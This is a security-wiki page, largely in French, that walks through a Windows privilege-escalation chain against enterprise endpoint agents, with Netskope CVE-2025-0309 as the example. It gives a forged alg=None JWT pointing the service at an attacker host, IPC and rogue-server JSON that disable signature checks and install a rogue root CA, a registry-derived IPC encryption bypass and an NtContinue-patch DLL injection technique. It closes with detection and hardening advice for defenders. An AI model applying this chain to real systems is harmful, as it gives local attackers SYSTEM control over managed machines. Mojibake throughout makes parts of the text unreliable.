Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
Reading time: 8 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Cette page gĂ©nĂ©ralise une classe de chaĂźnes d'escalade de privilĂšges locales Windows trouvĂ©es dans les agents endpoint d'entreprise et les updaters qui exposent une surface IPC Ă faible friction et un flux de mise Ă jour privilĂ©giĂ©. Un exemple reprĂ©sentatif est Netskope Client for Windows < R129 (CVE-2025-0309), oĂč un utilisateur Ă privilĂšges limitĂ©s peut forcer l'enrĂŽlement vers un serveur contrĂŽlĂ© par l'attaquant puis livrer un MSI malveillant que le service SYSTEM installe.
Idées clés réutilisables contre des produits similaires :
- Abuser de l'IPC localhost d'un service privilégié pour forcer un ré-enrÎlement ou une reconfiguration vers un serveur attaquant.
- Implémenter les endpoints de mise à jour du vendor, livrer un Trusted Root CA rogue, et pointer l'updater vers un package malveillant « signé ».
- Ăviter des vĂ©rifications de signature faibles (CN allowâlists), flags de digest optionnels, et propriĂ©tĂ©s MSI laxistes.
- Si l'IPC est « chiffré », dériver la key/IV à partir d'identifiants machine lisibles globalement stockés dans le registry.
- Si le service restreint les appelants par image path/process name, injecter dans un process allowâlistĂ© ou en en crĂ©er un suspendu et bootstrapper votre DLL via un minimal threadâcontext patch.
1) Forcing enrollment to an attacker server via localhost IPC
Many agents ship a userâmode UI process that talks to a SYSTEM service over localhost TCP using JSON.
Observed in Netskope:
- UI: stAgentUI (low integrity) â Service: stAgentSvc (SYSTEM)
- IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
Exploit flow:
- Craft a JWT enrollment token whose claims control the backend host (e.g., AddonUrl). Use alg=None so no signature is required.
- Send the IPC message invoking the provisioning command with your JWT and tenant name:
{
"148": {
"idpTokenValue": "<JWT with AddonUrl=attacker-host; header alg=None>",
"tenantName": "TestOrg"
}
}
- Le service commence Ă contacter votre serveur malveillant pour enrollment/config, par ex. :
- /v1/externalhost?service=enrollment
- /config/user/getbrandingbyemail
Remarques :
- Si la vĂ©rification de l'appelant est path/nameâbased, faites provenir la requĂȘte d'un binaire fournisseur figurant sur la liste blanche (voir §4).
2) Détournement du canal de mise à jour pour exécuter du code en tant que SYSTEM
Une fois que le client communique avec votre serveur, implémentez les endpoints attendus et redirigez-le vers un MSI malveillant. Séquence typique :
- /v2/config/org/clientconfig â Retourner la configuration JSON avec un intervalle de mise Ă jour trĂšs court, par ex. :
{
"clientUpdate": { "updateIntervalInMin": 1 },
"check_msi_digest": false
}
- /config/ca/cert â Retourne un certificat CA au format PEM. Le service lâinstalle dans le magasin Local Machine Trusted Root.
- /v2/checkupdate â Fournit des mĂ©tadonnĂ©es pointant vers un MSI malveillant et une fausse version.
Bypass des contrÎles courants observés sur le terrain :
- Signer CN allowâlist : le service peut simplement vĂ©rifier que le Subject CN est ânetSkope Incâ ou âNetskope, Inc.â. Votre rogue CA peut Ă©mettre un certificat leaf avec ce CN et signer le MSI.
- CERT_DIGEST property : inclure une propriĂ©tĂ© MSI bĂ©nigne nommĂ©e CERT_DIGEST. Aucune vĂ©rification lors de lâinstallation.
- Optional digest enforcement : un flag de config (par ex., check_msi_digest=false) désactive la validation cryptographique supplémentaire.
Résultat : le service SYSTEM installe votre MSI depuis C:\ProgramData\Netskope\stAgent\data*.msi exécutant du code arbitraire en tant que NT AUTHORITY\SYSTEM.
3) Falsification de requĂȘtes IPC chiffrĂ©es (lorsqu'elles sont prĂ©sentes)
Depuis R127, Netskope encapsulait le JSON IPC dans un champ encryptData qui ressemble Ă du Base64. Le reverse a montrĂ© un AES avec clĂ©/IV dĂ©rivĂ©s de valeurs de registre lisibles par nâimporte quel utilisateur :
- Key = HKLM\SOFTWARE\NetSkope\Provisioning\nsdeviceidnew
- IV = HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductID
Les attaquants peuvent reproduire le chiffrement et envoyer des commandes chiffrĂ©es valides depuis un utilisateur standard. Astuce gĂ©nĂ©rale : si un agent se met soudainement Ă âchiffrerâ son IPC, cherchez des device IDs, product GUIDs, install IDs sous HKLM comme matĂ©riau.
4) Contournement des allowâlists d'appelants IPC (vĂ©rification de chemin/nom)
Certains services tentent dâauthentifier le pair en rĂ©solvant le PID de la connexion TCP et en comparant le chemin/nom de lâimage Ă des binaires vendor allowâlistĂ©s situĂ©s sous Program Files (par ex., stagentui.exe, bwansvc.exe, epdlp.exe).
Deux contournements pratiques :
- DLL injection dans un processus allowâlistĂ© (par ex., nsdiag.exe) et proxy de lâIPC depuis lâintĂ©rieur.
- Lancer un binaire allowâlistĂ© en Ă©tat suspended et bootstrapper votre DLL proxy sans CreateRemoteThread (voir §5) pour satisfaire les rĂšgles de protection appliquĂ©es par le driver.
5) Injection compatible avec la protection antiâmanipulation : processus suspended + patch NtContinue
Les produits embarquent souvent un minifilter/OB callbacks driver (par ex., Stadrv) pour retirer les droits dangereux des handles vers les processus protégés :
- Process : supprime PROCESS_TERMINATE, PROCESS_CREATE_THREAD, PROCESS_VM_READ, PROCESS_DUP_HANDLE, PROCESS_SUSPEND_RESUME
- Thread : restreint Ă THREAD_GET_CONTEXT, THREAD_QUERY_LIMITED_INFORMATION, THREAD_RESUME, SYNCHRONIZE
Un loader userâmode fiable qui respecte ces contraintes :
- CreateProcess dâun binaire vendor avec CREATE_SUSPENDED.
- Obtenir les handles encore autorisés : PROCESS_VM_WRITE | PROCESS_VM_OPERATION sur le processus, et un handle de thread avec THREAD_GET_CONTEXT/THREAD_SET_CONTEXT (ou juste THREAD_RESUME si vous patcher du code à un RIP connu).
- Ăcraser ntdll!NtContinue (ou un autre thunk prĂ©coce garanti mappĂ©) par un petit stub qui appelle LoadLibraryW sur le chemin de votre DLL, puis revient.
- ResumeThread pour dĂ©clencher votre stub enâprocess, chargeant votre DLL.
Comme vous nâavez jamais utilisĂ© PROCESS_CREATE_THREAD ou PROCESS_SUSPEND_RESUME sur un processus dĂ©jĂ protĂ©gĂ© (vous lâavez créé), la politique du driver est satisfaite.
6) Outils pratiques
- NachoVPN (Netskope plugin) automatise une rogue CA, la signature de MSI malveillant, et sert les endpoints nécessaires : /v2/config/org/clientconfig, /config/ca/cert, /v2/checkupdate.
- UpSkope est un client IPC personnalisĂ© qui fabrique des messages IPC arbitraires (optionnellement AESâencrypted) et inclut lâinjection via processus suspended pour Ă©mettre depuis un binaire allowâlistĂ©.
7) Opportunités de détection (blue team)
- Surveiller les ajouts au Local Machine Trusted Root. Sysmon + registryâmod eventing (voir les recommandations de SpecterOps) fonctionne bien.
- Signaler les exĂ©cutions de MSI initiĂ©es par le service de lâagent depuis des chemins comme C:\ProgramData<vendor><agent>\data*.msi.
- Examiner les logs de lâagent pour des hosts/tenants dâenrĂŽlement inattendus, p.ex. : C:\ProgramData\netskope\stagent\logs\nsdebuglog.log â chercher les anomalies addonUrl / tenant et le provisioning msg 148.
- Alerter sur des clients IPC localhost qui ne sont pas les binaires signĂ©s attendus, ou qui proviennent dâarbres de processus enfants inhabituels.
Conseils de durcissement pour les éditeurs
- Lier les hosts dâenrĂŽlement/update Ă une allowâlist stricte ; rejeter les domaines non fiables dans clientcode.
- Authentifier les pairs IPC avec des primitives OS (ALPC security, namedâpipe SIDs) au lieu de vĂ©rifications basĂ©es sur le chemin/nom de lâimage.
- Garder le matĂ©riel secret hors de HKLM lisible par tous ; si lâIPC doit ĂȘtre chiffrĂ©, dĂ©river les clĂ©s Ă partir de secrets protĂ©gĂ©s ou nĂ©gocier sur des canaux authentifiĂ©s.
- Traiter lâupdater comme une surface de la chaĂźne dâapprovisionnement : exiger une chaĂźne complĂšte vers une CA de confiance que vous contrĂŽlez, vĂ©rifier les signatures des paquets contre des clĂ©s Ă©pinglĂ©es, et Ă©chouer fermĂ© si la validation est dĂ©sactivĂ©e en config.
Références
- Advisory â Netskope Client for Windows â Local Privilege Escalation via Rogue Server (CVE-2025-0309)
- NachoVPN â Netskope plugin
- UpSkope â Netskope IPC client/exploit
- NVD â CVE-2025-0309
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.